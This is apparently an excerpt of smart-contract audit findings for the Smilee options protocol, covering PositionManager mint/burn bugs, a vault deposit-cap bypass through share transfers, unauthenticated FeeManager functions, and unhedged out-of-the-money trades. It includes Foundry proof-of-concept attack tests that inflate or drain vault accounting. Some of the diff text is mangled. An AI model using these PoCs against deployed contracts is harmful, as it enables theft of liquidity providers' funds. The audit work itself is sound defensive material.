decreased notional; in order to avoid this issue, we have to\\n also adjust (decrease) the premium in the burn flow.\\n */\\n position.leverage = (position.notionalUp + position.notionalDown) / position.premium;\\n }\\n\\n emit BuyDVP(tokenId, _positions[tokenId].expiry, params.notionalUp + params.notionalDown);\\n emit Buy(params.dvpAddr, _positions[tokenId].expiry, premium, params.recipient);\\n }\\n```\\n\\nPoC\\nAdd the following test to `PositionManagerTest` contract :\\n```\\n function testMintAndBurnFail() public {\\n (uint256 tokenId, ) = initAndMint();\\n bytes4 PositionNotFound = bytes4(keccak256("PositionNotFound()"));\\n\\n vm.prank(alice);\\n vm.expectRevert(PositionNotFound);\\n pm.sell(\\n IPositionManager.SellParams({\\n tokenId: tokenId,\\n notionalUp: 10 ether,\\n notionalDown: 0,\\n expectedMarketValue: 0,\\n maxSlippage: 0.1e18\\n })\\n );\\n }\\n```\\n\\nModify `initAndMint` function to the following :\\n```\\n function initAndMint() private returns (uint256 tokenId, IG ig) {\\n vm.startPrank(admin);\\n ig = new IG(address(vault), address(ap));\\n ig.grantRole(ig.ROLE_ADMIN(), admin);\\n ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n vault.grantRole(vault.ROLE_ADMIN(), admin);\\n vault.setAllowedDVP(address(ig));\\n\\n MarketOracle mo = MarketOracle(ap.marketOracle());\\n\\n mo.setDelay(ig.baseToken(), ig.sideToken(), ig.getEpoch().frequency, 0, true);\\n\\n Utils.skipDay(true, vm);\\n ig.rollEpoch();\\n vm.stopPrank();\\n\\n uint256 strike = ig.currentStrike();\\n\\n (uint256 expectedMarketValue, ) = ig.premium(0, 10 ether, 0);\\n TokenUtils.provideApprovedTokens(admin, baseToken, DEFAULT_SENDER, address(pm), expectedMarketValue, vm);\\n // NOTE: somehow, the sender is something else without this prank// rest of code\\n vm.prank(DEFAULT_SENDER);\\n (tokenId, ) = pm.mint(\\n IPositionManager.MintParams({\\n dvpAddr: address(ig),\\n notionalUp: 10 ether,\\n notionalDown: 0,\\n strike: strike + 1,\\n recipient: alice,\\n tokenId: 0,\\n expectedPremium: expectedMarketValue,\\n maxSlippage: 0.1e18,\\n nftAccessTokenId: 0\\n })\\n );\\n assertGe(1, tokenId);\\n assertGe(1, pm.totalSupply());\\n }\\n```\\n\\nRun the test :\\n```\\nforge test --match-contract PositionManagerTest --match-test testMintAndBurnFail -vvv\\n```\\n
When storing user position data inside PositionManager, query IG's current price and use it instead.\\n```\\n function mint(\\n IPositionManager.MintParams calldata params\\n ) external override returns (uint256 tokenId, uint256 premium) {\\n // // rest of code\\n\\n if (params.tokenId == 0) {\\n // Mint token:\\n tokenId = _nextId// Add the line below\\n// Add the line below\\n;\\n _mint(params.recipient, tokenId);\\n\\n Epoch memory epoch = dvp.getEpoch();\\n// Add the line below\\n uint256 currentStrike = dvp.currentStrike();\\n\\n // Save position:\\n _positions[tokenId] = ManagedPosition({\\n dvpAddr: params.dvpAddr,\\n// Remove the line below\\n strike: params.strike,\\n// Add the line below\\n strike: currentStrike,\\n expiry: epoch.current,\\n premium: premium,\\n leverage: (params.notionalUp // Add the line below\\n params.notionalDown) / premium,\\n notionalUp: params.notionalUp,\\n notionalDown: params.notionalDown,\\n cumulatedPayoff: 0\\n });\\n } else {\\n ManagedPosition storage position = _positions[tokenId];\\n // Increase position:\\n position.premium // Add the line below\\n= premium;\\n position.notionalUp // Add the line below\\n= params.notionalUp;\\n position.notionalDown // Add the line below\\n= params.notionalDown;\\n /* NOTE:\\n When, within the same epoch, a user wants to buy, sell partially\\n and then buy again, the leverage computation can fail due to\\n decreased notional; in order to avoid this issue, we have to\\n also adjust (decrease) the premium in the burn flow.\\n */\\n position.leverage = (position.notionalUp // Add the line below\\n position.notionalDown) / position.premium;\\n }\\n\\n emit BuyDVP(tokenId, _positions[tokenId].expiry, params.notionalUp // Add the line below\\n params.notionalDown);\\n emit Buy(params.dvpAddr, _positions[tokenId].expiry, premium, params.recipient);\\n }\\n```\\n
If the provided strike data does not match IG's current strike price, the user's minted position using `PositionManager` will be stuck and cannot be burned. This happens because when burn is called and `position.strike` is provided, it will revert as it cannot find the corresponding positions inside IG contract.\\nThis issue directly risking user's funds, consider a scenario where users mint a position near the end of the rolling epoch, providing the old epoch's current price. However, when the user's transaction is executed, the epoch is rolled and new epoch's current price is used, causing the mentioned issue to occur, and users' positions and funds will be stuck.
```\\n function mint(\\n IPositionManager.MintParams calldata params\\n ) external override returns (uint256 tokenId, uint256 premium) {\\n IDVP dvp = IDVP(params.dvpAddr);\\n\\n if (params.tokenId != 0) {\\n tokenId = params.tokenId;\\n ManagedPosition storage position = _positions[tokenId];\\n\\n if (ownerOf(tokenId) != msg.sender) {\\n revert NotOwner();\\n }\\n // Check token compatibility:\\n if (position.dvpAddr != params.dvpAddr || position.strike != params.strike) {\\n revert InvalidTokenID();\\n }\\n Epoch memory epoch = dvp.getEpoch();\\n if (position.expiry != epoch.current) {\\n revert PositionExpired();\\n }\\n }\\n if ((params.notionalUp > 0 && params.notionalDown > 0) && (params.notionalUp != params.notionalDown)) {\\n // If amount is a smile, it must be balanced:\\n revert AsymmetricAmount();\\n }\\n\\n uint256 obtainedPremium;\\n uint256 fee;\\n (obtainedPremium, fee) = dvp.premium(params.strike, params.notionalUp, params.notionalDown);\\n\\n // Transfer premium:\\n // NOTE: The PositionManager is just a middleman between the user and the DVP\\n IERC20 baseToken = IERC20(dvp.baseToken());\\n baseToken.safeTransferFrom(msg.sender, address(this), obtainedPremium);\\n\\n // Premium already include fee\\n baseToken.safeApprove(params.dvpAddr, obtainedPremium);\\n\\n==> premium = dvp.mint(\\n address(this),\\n params.strike,\\n params.notionalUp,\\n params.notionalDown,\\n params.expectedPremium,\\n params.maxSlippage,\\n params.nftAccessTokenId\\n );\\n\\n // // rest of code.\\n }\\n```\\n
Whenever swapPrice > oraclePrice, minting via PositionManager will revert, due to not enough funds being obtained from user.
medium
In `PositionManager::mint()`, `obtainedPremium` is calculated in a different way to the actual premium needed, and this will lead to a revert, denying service to users.\\nIn `PositionManager::mint()`, the PM gets `obtainedPremium` from DVP::premium():\\n```\\n(obtainedPremium, ) = dvp.premium(params.strike, params.notionalUp, params.notionalDown);\\n```\\n\\nThen the actual premium used when minting by the DVP is obtained via the following code:\\n\\nFrom the code above, we can see that the actual premium uses the greater of the two price options. However, `DVP::premium()` only uses the oracle price to determine the `obtainedPremium`.\\nThis leads to the opportunity for `premiumSwap > premiumOrac`, so in the PositionManager, `obtainedPremium` is less than the actual premium required to mint the position in the DVP contract.\\nThus, when the DVP contract tries to collect the premium from the PositionManager, it will revert due to insufficient balance in the PositionManager:\\n```\\nIERC20Metadata(baseToken).safeTransferFrom(msg.sender, vault, premium_ + vaultFee);\\n```\\n
When calculating `obtainedPremium`, consider also using the premium from `swapPrice` if it is greater than the premium calculated from `oraclePrice`.
Whenever `swapPrice > oraclePrice`, minting positions via the PositionManager will revert. This is a denial of service to users and this disruption of core protocol functionality can last extended periods of time.
```\\n(obtainedPremium, ) = dvp.premium(params.strike, params.notionalUp, params.notionalDown);\\n```\\n
Transferring ERC20 Vault tokens to another address and then withdrawing from the vault breaks `totalDeposit` accounting which is tied to deposit addresses
medium
Vault inherits from the ERC20, so it has transfer functions to transfer vault shares. However, `totalDeposit` accounting is tied to addresses of users who deposited with the assumption that the same user will withdraw those shares. This means that any vault tokens transfer and then withdrawal from either user breaks the accounting of `totalDeposit`, allowing to either bypass the vault's max deposit limitation, or limit the vault from new deposits, by making it revert for exceeding the vault deposit limit even if the amount deposited is very small.\\n`Vault` inherits from ERC20:\\n```\\ncontract Vault is IVault, ERC20, EpochControls, AccessControl, Pausable {\\n```\\n\\nwhich has public `transfer` and `transferFrom` functions to `transfer` tokens to the other users, which any user can call:\\n```\\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\\n address owner = _msgSender();\\n _transfer(owner, to, amount);\\n return true;\\n }\\n```\\n\\nIn order to limit the deposits to vault limit, vault has `maxDeposit` parameter set by admin. It is used to limit the deposits above this amount, reverting deposit transactions if exceeded:\\n```\\n // Avoids underflows when the maxDeposit is setted below than the totalDeposit\\n if (_state.liquidity.totalDeposit > maxDeposit) {\\n revert ExceedsMaxDeposit();\\n }\\n\\n if (amount > maxDeposit - _state.liquidity.totalDeposit) {\\n revert ExceedsMaxDeposit();\\n }\\n```\\n\\nIn order to correctly calculate the current vault deposits (_state.liquidity.totalDeposit), the vault uses the following:\\nVault tracks cumulative deposit for each user (depositReceipt.cumulativeAmount)\\nWhen user deposits, cumulative deposit and vault's `totalDeposit` increase by the amount of asset deposited\\nWhen user initiates withdrawal, both user's cumulative amount and `totalDeposit` are reduced by the percentage of cumulative amount, which is equal to perecentage of shares being withdrawn vs all shares user has.\\nThis process is necessary, because the share price changes between deposit and withdrawal, so it tracks only actual deposits, not amounts earned or lost due to vault's profit and loss.\\nAs can easily be seen, this withdrawal process assumes that users can't transfer their vault shares, because otherwise the withdrawal from the user who never deposited but got shares will not reduce `totalDeposit`, and user who transferred the shares away and then withdraws all remaining shares will reduce `totalDeposit` by a large amount, while the amount withdrawn is actually much smaller.\\nHowever, since `Vault` is a normal `ERC20` token, users can freely transfer vault shares to each other, breaking this assumption. This leads to 2 scenarios:\\nIt's easily possible to bypass vault deposit cap: 1.1. Alice deposits up to max deposit cap (say, 1M USDC) 1.2. Alice transfers all shares except 1 wei to Bob 1.3. Alice withdraws 1 wei share. This reduces `totalDeposit` by full Alice deposited amount (1M USDC), but only 1 wei share is withdrawn, basically 0 assets withdrawn. 1.4. Alice deposits 1M USDC again (now the total deposited into the vault is 2M, already breaking the cap of 1M).\\nIt's easily possible to lock the vault from further deposits even though the vault might have small amount (or even 0) assets deposited. 2.1. Alice deposits up to max deposit cap (say, 1M USDC) 2.2. Alice transfers all shares except 1 wei to Bob 2.3. Bob withdraws all shares. Since Bob didn't deposit previously, this doesn't reduce `totalDeposit` at all, but withdraws all 1M USDC to Bob. At this point `totalDeposit` = 1M USDC, but vault has 0 assets in it and no further deposits are accepted due to `maxDeposit` limit.
Either disallow transferring of vault shares or track vault assets instead of deposits. Alternatively, re-design the withdrawal system (for example, throw out cumulative deposit calculation and simply calculate total assets and total shares and when withdrawing - reduce `totalDeposit` by the sharesWithdrawn / totalShares * totalDeposit)
Important security measure of vault max deposit limit can be bypassed, potentially losing funds for the users when the admin doesn't want to accept large amounts for various reasons (like testing something).\\nIt's possible to lock vault from deposits by inflating the `totalDeposit` without vault having actual assets, rendering the operations useless due to lack of liquidity and lack of ability to deposit. Even if `maxDeposit` is increased, `totalDeposit` can be inflated again, breaking protocol core functioning.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGVaultTest is Test {\\n using AmountsMath for uint256;\\n\\n address admin = address(0x1);\\n\\n // User of Vault\\n address alice = address(0x2);\\n address bob = address(0x3);\\n\\n //User of DVP\\n address charlie = address(0x4);\\n address david = address(0x5);\\n\\n AddressProvider ap;\\n TestnetToken baseToken;\\n TestnetToken sideToken;\\n FeeManager feeManager;\\n\\n MockedRegistry registry;\\n\\n MockedVault vault;\\n MockedIG ig;\\n TestnetPriceOracle priceOracle;\\n TestnetSwapAdapter exchange;\\n uint _strike;\\n\\n function setUp() public {\\n vm.warp(EpochFrequency.REF_TS);\\n //ToDo: Replace with Factory\\n vm.startPrank(admin);\\n ap = new AddressProvider(0);\\n registry = new MockedRegistry();\\n ap.grantRole(ap.ROLE_ADMIN(), admin);\\n registry.grantRole(registry.ROLE_ADMIN(), admin);\\n ap.setRegistry(address(registry));\\n\\n vm.stopPrank();\\n\\n vault = MockedVault(VaultUtils.createVault(EpochFrequency.DAILY, ap, admin, vm));\\n priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n baseToken = TestnetToken(vault.baseToken());\\n sideToken = TestnetToken(vault.sideToken());\\n\\n vm.startPrank(admin);\\n \\n ig = new MockedIG(address(vault), address(ap));\\n ig.grantRole(ig.ROLE_ADMIN(), admin);\\n ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n vault.grantRole(vault.ROLE_ADMIN(), admin);\\n vm.stopPrank();\\n ig.setOptionPrice(1e3);\\n ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n ig.useRealDeltaHedge();\\n ig.useRealPercentage();\\n ig.useRealPremium();\\n\\n DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n vm.prank(admin);\\n registry.registerDVP(address(ig));\\n vm.prank(admin);\\n MockedVault(vault).setAllowedDVP(address(ig));\\n feeManager = FeeManager(ap.feeManager());\\n\\n exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n }\\n\\n function testVaultDepositLimitBypass() public {\\n _strike = 1e18;\\n VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n Utils.skipDay(true, vm);\\n\\n vm.prank(admin);\\n ig.rollEpoch();\\n\\n VaultUtils.logState(vault);\\n (,,,,uint totalDeposit,,,,) = vault.vaultState();\\n console.log("total deposits", totalDeposit);\\n\\n vm.startPrank(alice);\\n vault.redeem(1e18);\\n vault.transfer(address(charlie), 1e18-1);\\n vault.initiateWithdraw(1);\\n vm.stopPrank();\\n\\n VaultUtils.logState(vault);\\n (,,,,totalDeposit,,,,) = vault.vaultState();\\n console.log("total deposits", totalDeposit);\\n\\n }\\n}\\n```\\n\\nExecution console:\\n```\\n current epoch 1698566400\\n baseToken balance 1000000000000000000\\n sideToken balance 1000000000000000000\\n dead false\\n lockedInitially 2000000000000000000\\n pendingDeposits 0\\n pendingWithdrawals 0\\n pendingPayoffs 0\\n heldShares 0\\n newHeldShares 0\\n base token notional 1000000000000000000\\n side token notional 1000000000000000000\\n ----------------------------------------\\n total deposits 2000000000000000000\\n current epoch 1698566400\\n baseToken balance 1000000000000000000\\n sideToken balance 1000000000000000000\\n dead false\\n lockedInitially 2000000000000000000\\n pendingDeposits 0\\n pendingWithdrawals 0\\n pendingPayoffs 0\\n heldShares 0\\n newHeldShares 1\\n base token notional 1000000000000000000\\n side token notional 1000000000000000000\\n ----------------------------------------\\n total deposits 1000000000000000000\\n```\\n\\nNotice:\\nDemonstrates vault deposit limit bypass\\nVault has total assets of 2, but the total deposits is 1, allowing further deposits.
```\\ncontract Vault is IVault, ERC20, EpochControls, AccessControl, Pausable {\\n```\\n
PositionManager will revert when trying to return back to user excess of the premium transferred from the user when minting position
medium
`PositionManager.mint` calculates preliminary premium to be paid for buying the option and transfers it from the user. The actual premium paid may differ, and if it's smaller, excess is returned back to user. However, it is returned using the safeTransferFrom:\\n```\\n if (obtainedPremium > premium) {\\n baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);\\n }\\n```\\n\\nThe problem is that `PositionManager` doesn't approve itself to transfer baseToken to `msg.sender`, and USDC `transferFrom` implementation requires approval even if address is transferring from its own address. Thus the transfer will revert and user will be unable to open position.\\n```\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));\\n return true;\\n }\\n```\\n\\n```\\n function transferFrom(\\n address from,\\n address to,\\n uint256 value\\n )\\n external\\n override\\n whenNotPaused\\n notBlacklisted(msg.sender)\\n notBlacklisted(from)\\n notBlacklisted(to)\\n returns (bool)\\n {\\n require(\\n value <= allowed[from][msg.sender],\\n "ERC20: transfer amount exceeds allowance"\\n );\\n _transfer(from, to, value);\\n allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);\\n return true;\\n }\\n```\\n\\n`PositionManager` doesn't approve itself to do transfers anywhere, so `baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);` will always revert, preventing the user from opening position via `PositionManager`, breaking important protocol function.
Consider using `safeTransfer` instead of `safeTransferFrom` when transferring token from self.
User is unable to open positions via `PositionManager` in certain situations as all such transactions will revert, breaking important protocol functionality and potentially losing user funds / profit due to failure to open position.
```\\n if (obtainedPremium > premium) {\\n baseToken.safeTransferFrom(address(this), msg.sender, obtainedPremium - premium);\\n }\\n```\\n
FeeManager `receiveFee` and `trackVaultFee` functions allow anyone to call it with user-provided dvp/vault address and add any arbitrary feeAmount to any address, breaking fees accounting and temporarily bricking DVP smart contract
medium
`FeeManager` uses `trackVaultFee` function to account vault fees. The problem is that this function can be called by any smart contract implementing `vault()` function (there are no address or role authentication), thus malicious user can break all vault fees accounting by randomly inflating existing vault's fees, making it hard/impossible for admins to determine the real split of fees between vaults. Moreover, malicious user can provide such `feeAmount` to `trackVaultFee` function, which will increase any vault's fee to `uint256.max` value, meaning all following calls to `trackVaultFee` will revert due to fee addition overflow, temporarily bricking DVP smart contract, which calls `trackVaultFee` on all mints and burns, which will always revert until `FeeManager` smart contract is updated to a new address in `AddressProvider`.\\nSimilarly, `receiveFee` function is used to account fee amounts received by different addresses (dvp), which can later be withdrawn by admin via `withdrawFee` function. The problem is that any smart contract implementing `baseToken()` function can call it, thus any malicious user can break all accounting by adding arbitrary amounts to their addresses without actually paying anything. Once some addresses fees are inflated, it will be difficult for admins to track fee amounts which are real, and which are from fake dvps and fake tokens.\\n`FeeManager.trackVaultFee` function has no role/address check:\\n```\\n function trackVaultFee(address vault, uint256 feeAmount) external {\\n // Check sender:\\n IDVP dvp = IDVP(msg.sender);\\n if (vault != dvp.vault()) {\\n revert WrongVault();\\n }\\n\\n vaultFeeAmounts[vault] += feeAmount;\\n\\n emit TransferVaultFee(vault, feeAmount);\\n }\\n```\\n\\nAny smart contract implementing `vault()` function can call it. The vault address returned can be any address, thus user can inflate vault fees both for existing real vaults, and for any addresses user chooses. This totally breaks all vault fees accounting.\\n`FeeManager.receiveFee` function has no role/address check either:\\n```\\n function receiveFee(uint256 feeAmount) external {\\n _getBaseTokenInfo(msg.sender).safeTransferFrom(msg.sender, address(this), feeAmount);\\n senders[msg.sender] += feeAmount;\\n\\n emit ReceiveFee(msg.sender, feeAmount);\\n }\\n// rest of code\\n function _getBaseTokenInfo(address sender) internal view returns (IERC20Metadata token) {\\n token = IERC20Metadata(IVaultParams(sender).baseToken());\\n }\\n```\\n\\nAny smart contract crafted by malicious user can call it. It just has to return base token, which can also be token created by the user. After transfering this fake base token, the `receiveFee` function will increase user's fee balance as if it was real token transferred.
Consider adding a whitelist of addresses which can call these functions.
Malicious users can break all fee and vault fee accounting by inflating existing vaults or user addresses fees earned without actually paying these fees, making it hard/impossible for admins to determine the actual fees earned from each vault or dvp. Moreover, malicious user can temporarily brick DVP smart contract by inflating vault's accounted fees to `uint256.max`, thus making all DVP mints and burns (which call trackVaultFee) revert.
```\\n function trackVaultFee(address vault, uint256 feeAmount) external {\\n // Check sender:\\n IDVP dvp = IDVP(msg.sender);\\n if (vault != dvp.vault()) {\\n revert WrongVault();\\n }\\n\\n vaultFeeAmounts[vault] += feeAmount;\\n\\n emit TransferVaultFee(vault, feeAmount);\\n }\\n```\\n
Trading out of the money options has delta = 0 which breaks protocol assumptions of traders profit being fully hedged and can result in a loss of funds to LPs
medium
Smilee protocol fully hedges all traders pnl by re-balancing the vault between base and side tokens after each trade. This is the assumption about this from the docs:\\nIn the other words, any profit for traders is taken from the hedge and not from the vault Liquidity Providers funds. LP payoff must be at least the underlying DEX (Uniswap) payoff without fees with the same settings.\\nHowever, out of the money options (IG Bull when `price < strike` or IG Bear when price > strike) have `delta = 0`, meaning that trading such options doesn't influence vault re-balancing. Since the price of these options changes depending on current asset price, any profit gained by traders from these trades is not hedged and thus becomes the loss of the vault LPs, breaking the assumption referenced above.\\nAs a result, LPs payout can becomes less than underlying DEX LPs payout without fees. And in extreme cases the vault funds might not be enough to cover traders payoff.\\nWhen the vault delta hedges its position after each trade, it only hedges in the money options, ignoring any out of the money options. For example, this is the calculation of the IG Bull delta (s is the current asset price, `k` is the strike):\\n```\\n /**\\n Δ_bull = (1 / θ) * F\\n F = {\\n@@@ * 0 if (S < K)\\n * (1 - √(K / Kb)) / K if (S > Kb)\\n * 1 / K - 1 / √(S * K) if (K < S < Kb)\\n }\\n */\\n function bullDelta(uint256 k, uint256 kB, uint256 s, uint256 theta) internal pure returns (int256) {\\n SD59x18 delta;\\n if (s <= k) {\\n@@@ return 0;\\n }\\n```\\n\\nThis is example scenario to demonstrate the issue:\\nstrike = 1\\nvault has deposits = 2 (base = 1, side = 1), available liquidity: bull = 1, bear = 1\\ntrader buys 1 IG bear. This ensures that no vault re-balance happens when `price < strike`\\nprice drops to 0.9. Trader buys 1 IG bull (premium paid = 0.000038)\\nprice raises to 0.99. Trader sells 1 IG bull (premium received = 0.001138). Trader profit = 0.0011\\nprice is back to 1. Trader sells back 1 IG bear.\\nat this point the vault has (base = 0.9989, side = 1), meaning LPs have lost some funds when the price = strike.\\nWhile the damage from 1 trade is not large, if this is repeated several times, the damage to LP funds will keep inceasing.\\nThis can be especially dangerous if very long dated expiries are used, for example annual IG options. If the asset price remains below the strike for most of the time and IG Bear liquidity is close to 100% usage, then all IG Bull trades will be unhedged, thus breaking the core protocol assumption that traders profit should not translate to LPs loss: in such case traders profit will be the same loss for LPs. In extreme volatility, if price drops by 50% then recovers, traders can profit 3% of the vault with each trade, so after 33 trades the vault will be fully drained.
The issue seems to be from the approximation of the delta for OTM options. Statistically, long-term, the issue shouldn't be a problem as the long-term expectation is positive for the LPs profit due to it. However, short-term, the traders profit can create issues, and this seems to be the protocol's core assumption. Possible solution can include more precise delta calculation, maybe still approximation, but slightly more precise than the current approximation used.\\nAlternatively, keep track of underlying DEX equivalent of LP payoff at the current price and if, after the trade, vault's notional is less than that, add fee = the difference, to ensure that the assumption above is always true (similar to how underlying DEX slippage is added as a fee).
In some specific trading conditions (IG Bear liquidity used close to 100% if price < strike, or IG Bull liquidity used close to 100% if price > strike), all or most of the traders pnl is not hedged and thus becomes loss or profit of the LPs, breaking the core protocol assumptions about hedging and in extreme cases can drain significant percentage of the vault (LPs) funds, up to a point of not being able to payout traders payoff.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGTradeTest is Test {\\n using AmountsMath for uint256;\\n\\n address admin = address(0x1);\\n\\n // User of Vault\\n address alice = address(0x2);\\n address bob = address(0x3);\\n\\n //User of DVP\\n address charlie = address(0x4);\\n address david = address(0x5);\\n\\n AddressProvider ap;\\n TestnetToken baseToken;\\n TestnetToken sideToken;\\n FeeManager feeManager;\\n\\n MockedRegistry registry;\\n\\n MockedVault vault;\\n MockedIG ig;\\n TestnetPriceOracle priceOracle;\\n TestnetSwapAdapter exchange;\\n uint _strike;\\n\\n function setUp() public {\\n vm.warp(EpochFrequency.REF_TS);\\n //ToDo: Replace with Factory\\n vm.startPrank(admin);\\n ap = new AddressProvider(0);\\n registry = new MockedRegistry();\\n ap.grantRole(ap.ROLE_ADMIN(), admin);\\n registry.grantRole(registry.ROLE_ADMIN(), admin);\\n ap.setRegistry(address(registry));\\n\\n vm.stopPrank();\\n\\n vault = MockedVault(VaultUtils.createVault(EpochFrequency.WEEKLY, ap, admin, vm));\\n priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n baseToken = TestnetToken(vault.baseToken());\\n sideToken = TestnetToken(vault.sideToken());\\n\\n vm.startPrank(admin);\\n \\n ig = new MockedIG(address(vault), address(ap));\\n ig.grantRole(ig.ROLE_ADMIN(), admin);\\n ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n vault.grantRole(vault.ROLE_ADMIN(), admin);\\n vm.stopPrank();\\n ig.setOptionPrice(1e3);\\n ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n ig.useRealDeltaHedge();\\n ig.useRealPercentage();\\n ig.useRealPremium();\\n\\n DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n vm.prank(admin);\\n registry.registerDVP(address(ig));\\n vm.prank(admin);\\n MockedVault(vault).setAllowedDVP(address(ig));\\n feeManager = FeeManager(ap.feeManager());\\n\\n exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n }\\n\\n // try to buy/sell ig bull below strike for user's profit\\n // this will not be hedged, and thus the vault should lose funds\\n function test() public {\\n _strike = 1e18;\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), _strike);\\n VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n Utils.skipWeek(true, vm);\\n\\n vm.prank(admin);\\n ig.rollEpoch();\\n\\n VaultUtils.logState(vault);\\n DVPUtils.debugState(ig);\\n\\n // to ensure no rebalance from price movement\\n console.log("Buy 100% IG BEAR @ 1.0");\\n testBuyOption(1e18, 0, 1e18);\\n\\n for (uint i = 0; i < 20; i++) {\\n // price moves down, we buy\\n vm.warp(block.timestamp + 1 hours);\\n console.log("Buy 100% IG BULL @ 0.9");\\n testBuyOption(0.9e18, 1e18, 0);\\n\\n // price moves up, we sell\\n vm.warp(block.timestamp + 1 hours);\\n console.log("Sell 100% IG BULL @ 0.99");\\n testSellOption(0.99e18, 1e18, 0);\\n }\\n\\n // sell back original\\n console.log("Sell 100% IG BEAR @ 1.0");\\n testSellOption(1e18, 0, 1e18);\\n }\\n\\n function testBuyOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), price);\\n\\n (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike, optionAmountUp, optionAmountDown);\\n\\n vm.startPrank(charlie);\\n premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown, premium, 10e18, 0);\\n vm.stopPrank();\\n\\n console.log("premium", premium);\\n (uint256 btAmount, uint256 stAmount) = vault.balances();\\n console.log("base token notional", btAmount);\\n console.log("side token notional", stAmount);\\n }\\n\\n function testSellOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n vm.prank(admin);\\n priceOracle.setTokenPrice(address(sideToken), price);\\n\\n uint256 charliePayoff;\\n uint256 charliePayoffFee;\\n {\\n vm.startPrank(charlie);\\n (charliePayoff, charliePayoffFee) = ig.payoff(\\n ig.currentEpoch(),\\n _strike,\\n optionAmountUp,\\n optionAmountDown\\n );\\n\\n charliePayoff = ig.burn(\\n ig.currentEpoch(),\\n charlie,\\n _strike,\\n optionAmountUp,\\n optionAmountDown,\\n charliePayoff,\\n 0.1e18\\n );\\n vm.stopPrank();\\n\\n console.log("payoff received", charliePayoff);\\n (uint256 btAmount, uint256 stAmount) = vault.balances();\\n console.log("base token notional", btAmount);\\n console.log("side token notional", stAmount);\\n }\\n }\\n\\n function _assurePremium(\\n address user,\\n uint256 strike,\\n uint256 